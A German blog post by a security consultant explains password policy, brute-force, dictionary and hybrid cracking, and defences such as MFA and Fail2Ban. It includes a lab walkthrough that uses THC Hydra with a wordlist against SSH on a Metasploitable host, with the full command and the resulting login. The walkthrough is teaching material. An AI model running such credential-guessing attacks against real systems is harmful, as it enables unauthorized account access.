Password Cracking

Als IT-Security Consultant habe ich im Laufe der Jahre viele verschiedene IT-Umgebungen auditieren dürfen. Oft ist es der Fall, dass die Passwortanforderungen des Active Directory nicht den heutigen Standards entsprechen. Dadurch wird es den Mitarbeitenden erlaubt, schwache und dadurch einfach zu knackende Passwörter einzusetzen. Gar nicht im Fokus sind zudem häufig Applikationen mit eigenen Benutzerverwaltungen.

Für das Firmen-ERP oder andere geschäftskritische Systeme sind jedoch Passwörter im Einsatz, welche einem Angreifer fast schon offene Türen präsentieren. Vierstellige Passwörter ohne Komplexität sind da keine Seltenheit. Solche Passwörter können heutzutage innert Sekunden geknackt werden. Umso wichtiger ist es, eine den aktuellen Sicherheitsempfehlungen entsprechende Passwort-Policy zu haben und diese firmenweit (auch bei nicht AD-integrierten Systemen) konsequent durchzusetzen.

Aktuell empfehlen wir als IT-Security Experten folgende Werte (in diesem Beispiel für das Active Directory):

  • Minimale Kennwortlänge 10-12 Zeichen
  • Kennwort muss Komplexitätsvoraussetzungen entsprechen: aktiviert
  • Minimales Kennwortalter 1 Tag
  • Kennwortchronik erzwingen 15
  • Kennwörter mit umkehrbarer Verschlüsselung speichern: deaktiviert
  • Maximales Kennwortalter 365 Tage

Falls diese Änderungen von heute auf morgen eingesetzt werden, muss unbedingt darauf geachtet werden die Mitarbeitenden zu informieren und gegebenenfalls zu schulen. Manch ein Mitarbeitender ist mit der Wahl eines den obenstehenden Anforderungen entsprechenden Kennworts überfordert. Die Folgen wären aufgeschriebene oder zu einfache Passwörter, welche z.B. aus dem Namen des Hundes, dem Geburtsjahr der Tochter und einem Ausrufezeichen bestehen. Solche Kennwörter sind mittels Information Gathering (Informationssuche im Internet und anderen Quellen) relativ einfach zu »erraten». Ein wirklich sicheres, aber trotzdem verhältnismässig einfach zu merkendes Kennwort kann mit Hilfe eines Merksatzes erstellt werden. Der Satz: Mein Hund Charlie jault immer grässlich laut, wenn er 2 Stunden alleine ist! Ergibt dann das Passwort: MHCjigl,we2Sai!

Heutige Möglichkeiten

Die Möglichkeiten um unerlaubt in einen Account einzudringen, bzw. das Passwort eines Users zu knacken, sind schon weit fortgeschritten. Unter anderen wird zwischen diesen drei Angriffsarten unterschieden:

  • Brute Force-Attacke (z.B. über Rainbow-Tables)
  • Dictionary-Attacke
  • Hybrid-Attacke

Brute Force-Attacke

Eine Brute Force Attacke probiert alle möglichen Kombinationen durch. Sie ist die mit Abstand ineffizienteste Art des Crackings. Oft ist dies aber die einzige Möglichkeit, um mit enormen Rechen- sowie Zeit-Aufwand das richtige Passwort zu knacken.

Dictionary-Attacke

Das spezielle Merkmal einer Dictionary Attacke ist, dass eine Liste mit Wörtern bzw. Passwörtern verwendet wird. Das Cracking Tool testet in diesem Fall einfach alle Wörter bzw. Passwörter dieser Liste durch. Diese Variante führt oft bei Standard- oder weit verbreiteten Passwörtern zum Erfolg.

Hybrid-Attacke

Die Hybride-Attacke ist eine Kombination aus Brute Force- und Dictionary-Attacke. Diese Attacke eignet sich z.B. beim Knacken eines Benutzerpassworts. Durch Information Gathering können viele Wörter, Wortteile oder Zahlenkombinationen in Erfahrung gebracht werden (z.B. Geburtsjahr, PLZ, Hausnummer, Familienname etc.). Diese werden bei dieser Attacke verwendet, um effizient mögliche Passwörter zu testen.

Tools

Tools für eine Durchführung dieser Art von Attacke sind HydrancrackBurpsuite, gewisse Metasploit Moduleophcrack und JohnTheRipper.

Beispiel

Folgendes Beispiel zeigt, wie «einfach» es für einen Angreifer ist, eine Passwort Cracking Attacke zu lancieren. Es wird ein SSH-Dienst mit Hilfe des Tools THC Hydra angegriffen. Es kommt eine Liste von Passwörtern, welche oft verwendet werden (3500+ Wörter), zum Einsatz. Das Tool Hydra ist im Kali Linux, einer Linux Distribution für Penetration Tester, vorinstalliert. Mittels Konsole kann das Tool mit dem Befehl «hydra» gestartet werden. Ohne Parameter erscheint die Help Page, welche einen guten Einblick in die verschiedenen Möglichkeiten des Tools gibt.

root@kali:~# hydra

Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or se-cret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]

Options:
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-C FILE colon separated "login:pass" format, instead of -L/-P options
-M FILE list of servers to attack, one entry per line, ':' to specify port
-t TASKS run TASKS number of connects in parallel per target (default: 16)
-U service module usage details
-h more command line options (COMPLETE HELP)
server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
service the service to crack (see below for supported protocols)
OPT some service modules support additional input (-U for module help)

Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp re-dis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL v3.0. The newest version is always available at http://www.thc.org/thc-hydra Don't use in military or secret service organizations, or for illegal purpos-es.

Example: hydra -l user -P passlist.txt ftp://192.168.0.1

In unserem Fall ist der Benutzername bekannt, also kann -l verwendet werden. Ist dieser aber unbekannt, kann auch hier mittels Listen (-L) ein valider Benutzername gefunden werden.

Die Liste mit möglichen Passwörtern wurde vorab aus dem Internet geladen und direkt ins Home-Verzeichnis des Users gelegt. Um diese Liste für unseren Angriff verwenden zu können, muss die Option -P (für Password-File) genutzt werden.

Als nächstes muss das Ziel definiert werden. Dieses setzt sich aus der IP-Adresse und dem zu attackierenden Dienst zusammen. In diesem Beispiel werden beide Systeme (Kali Linux und das Zielsystem) in einem Host-Only Netzwerk betrieben. Die IP-Adresse des Zielsystems lautet 192.168.247.133. Beim zu attackierenden Dienst handelt es sich um SSH. Die Syntax für «hydra» lautet in unserem Fall also wie folgt:

  • 168.247.133 ssh

Zu beachten bei SSH-Diensten ist, dass diese meist nicht mit 16 gleichzeitigen Tasks umgehen können. In unserem Beispiel wurde daher auf 8 Tasks reduziert (-t 8).

Der fertige Befehl zur Ausführung der Attacke lautet nun wie folgt:

hydra -l msfadmin -P ~/wordlist.txt -t 8 192.168.247.133 ssh

Das Tool führt nun die Passwort-Attacke auf den SSH-Dienst des Zielsystems durch. Innerhalb einiger Minuten meldet dieses das gefundene Passwort zurück. Mit diesen Informationen kann nun mittels SSH auf das Zielsystem verbunden werden.

root@kali:~# ssh -l msfadmin 192.168.247.133
msfadmin@192.168.247.133's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
Last login: Thu Oct 26 04:23:59 2017
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.

msfadmin@metasploitable:~$

Prävention

Was können Sie gegen solche Attacken machen? Sind Sie diesen schutzlos ausgeliefert? Diese Frage kann ganz klar mit «Nein» beantwortet werden. In der heutigen Zeit existieren viele Möglichkeiten, sich gegen solche Attacken zu schützen.

Sichere Passwörter

Die einfachste Massnahme ist, nur noch als sicher geltende Passwörter einzusetzen. Werden diese nach in der Einleitung genannten Kriterien gewählt, haben Angreifer mit herkömmlichen Mittel kaum eine Chance das Passwort zu knacken. Dies setzt aber voraus, dass alle Mitarbeitenden über einen guten Awareness-Level verfügen und im Umgang mit Passwörtern und der IT-Infrastruktur geschult werden. Das beste Passwort nützt nichts, wenn der Benutzer dieses seinen Kollegen verrät oder unsorgfältig damit umgeht.

Mehr-Faktor-Authentifizierung

Eine gute Möglichkeit den meisten Attacken einen Strich durch die Rechnung zu machen, ist eine Mehr-Faktor-Authentifizierung. Bei Authentifizierungen wird unter drei verschiedenen Faktoren unterschieden:

  • Wissen (Passwort)
  • Besitzen (SmartCard, Token)
  • Sein (Biometrie)

Ein Benutzername und Passwort-basiertes Login besteht somit aus einem Faktor (Wissen). Wird ein Login nun durch einen weiteren Faktor ergänzt (Besitzen oder Sein), handelt es sich um eine Mehr-Faktor-Authentifizierung. Muss nach der ersten Benutzername- und Passwort-Eingabe erneut ein statischer persönlicher Code eingegeben werden, handelt es sich noch nicht um eine Mehr-Faktor-Authentifizierung. Wird aber z.B. mittels SMS bei jedem Login ein Code auf das Mobiltelefon des Mitarbeitenden gesendet, wird von einer Mehr-Faktor-Authentifizierung gesprochen (in diesem Fall ist der zweite Faktor «Besitzen»).

Automatisierte Abwehrlösungen

Es gibt verschiedene automatisierte Massnahmen zur Abwehr von Bruteforce-, Dictionary- und Hybrid-Attacken. Diese reichen von automatisierten Login Sperren nach X-Versuchen bis hin zu IDS bzw. WAF integrierten Blockierungslösungen. Ein Beispiel für ein einfaches Tool, um eine gewisse IP-Adresse nach X-Versuchen zu sperren, ist Fail2Ban. Dieses loggt im Hintergrund jegliche Anmeldeversuche und sperrt die Quell-IP-Adresse automatisch nach einer definierten Anzahl von Fehlversuchen.

Informationen zum Autor: Michel Hennet

Schon während meines Studiums an der ZHAW in Winterthur faszinierte mich die IT-Security. Unbedingt wollte ich darum die Stelle als Junior Security Consultant bei der Firma goSecurity bekommen. Schon während meinen ersten Kundenprojekten wurde mir klar: Genau das habe ich gesucht. Aus der Faszination entwickelt sich bei mir eine Leidenschaft. Die Leidenschaft als technischer Spezialist die Geschäftsanforderungen perfekt zu unterstützen. Nur so ist der Begriff des Experten für mich erst legitim. Mein voller Einsatz für Sie befriedigt meine Leidenschaft und meine Ansprüche an mich selbst.